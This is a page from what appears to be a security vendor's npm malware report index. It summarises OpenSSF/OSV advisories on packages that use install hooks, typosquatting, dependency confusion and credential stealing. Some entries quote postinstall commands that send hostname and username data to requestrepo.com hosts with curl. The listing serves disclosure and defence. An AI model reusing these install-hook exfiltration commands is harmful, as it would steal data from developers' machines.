npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 618
Updated 25 Oct 2026, 09:56 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4255 blocks this version. The package declares a `preinstall` hook (`node index.js`) in package.json that fires automatically on `npm install`. The s...
OpenSSF/OSV malware advisory MAL-2026-4255 blocks this version. The package declares a `preinstall` hook (`node index.js`) in package.json that fires automatically on `npm install`. The s...
OpenSSF/OSV malware advisory MAL-2026-4255 blocks this version. The package declares a `preinstall` hook (`node index.js`) in package.json that fires automatically on `npm install`. The s...
OpenSSF/OSV malware advisory MAL-2024-1959 blocks this version. ccl-component-resources@99.0.0 is a dependency-confusion package: name targets a likely-internal package, semver is set to...
OpenSSF/OSV malware advisory MAL-2024-1959 blocks this version. ccl-component-resources@99.0.0 is a dependency-confusion package: name targets a likely-internal package, semver is set to...
OpenSSF/OSV malware advisory MAL-2026-6392 blocks this version. On `npm install`, this package automatically runs postinstall.js, which executes `curl -X POST` with a body containing the...
OpenSSF/OSV malware advisory MAL-2026-6391 blocks this version. On `npm install`, the package's postinstall.js executes `curl "http://r1x55270.requestrepo.com/pre?h=$(hostname)&u=$(whoami...
OpenSSF/OSV malware advisory MAL-2026-6390 blocks this version. On `npm install`, the package's postinstall.js unconditionally executes `exec('curl http://qvmjcw4s.requestrepo.com')`, sen...
OpenSSF/OSV malware advisory MAL-2026-3821 blocks this version. The package citrea-sdk was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3820 blocks this version. The package citrea-bridge was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3663 blocks this version. The OpenSSF Package Analysis project identified 'chia-network' @ 1.0.0 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-3756 blocks this version. cheerio-tool typosquats the popular `cheerio` HTML parser (README claims 'Cheerio Tool utility helpers', keywords are 'loda...
OpenSSF/OSV malware advisory MAL-2026-3756 blocks this version. cheerio-tool typosquats the popular `cheerio` HTML parser (README claims 'Cheerio Tool utility helpers', keywords are 'loda...
OpenSSF/OSV malware advisory MAL-2026-3756 blocks this version. cheerio-tool typosquats the popular `cheerio` HTML parser (README claims 'Cheerio Tool utility helpers', keywords are 'loda...
OpenSSF/OSV malware advisory MAL-2026-4518 blocks this version. cheaty-sync-bot ships a clipboard-sync CLI that hardcodes a single Telegram bot token (index.js:10) owned by the package au...
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.8 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.7 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.6 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.5 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.4 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)
OpenSSF/OSV malware advisory MAL-2026-5527 blocks this version. OSV/OpenSSF confirms check-error-util@2.1.3 as malicious package MAL-2026-5527. Malicious code in check-error-util (npm)
OpenSSF/OSV malware advisory MAL-2026-5877 blocks this version. OSV/OpenSSF confirms check-ulid@3.0.2 as malicious package MAL-2026-5877. Malicious code in check-ulid (npm)
OpenSSF/OSV malware advisory MAL-2026-3755 blocks this version. On `npm install`, postinstall.js runs a credential and cryptocurrency stealer against the installer's machine. It reads ~/....
OpenSSF/OSV malware advisory MAL-2026-3755 blocks this version. On `npm install`, postinstall.js runs a credential and cryptocurrency stealer against the installer's machine. It reads ~/....
OpenSSF/OSV malware advisory MAL-2026-3755 blocks this version. On `npm install`, postinstall.js runs a credential and cryptocurrency stealer against the installer's machine. It reads ~/....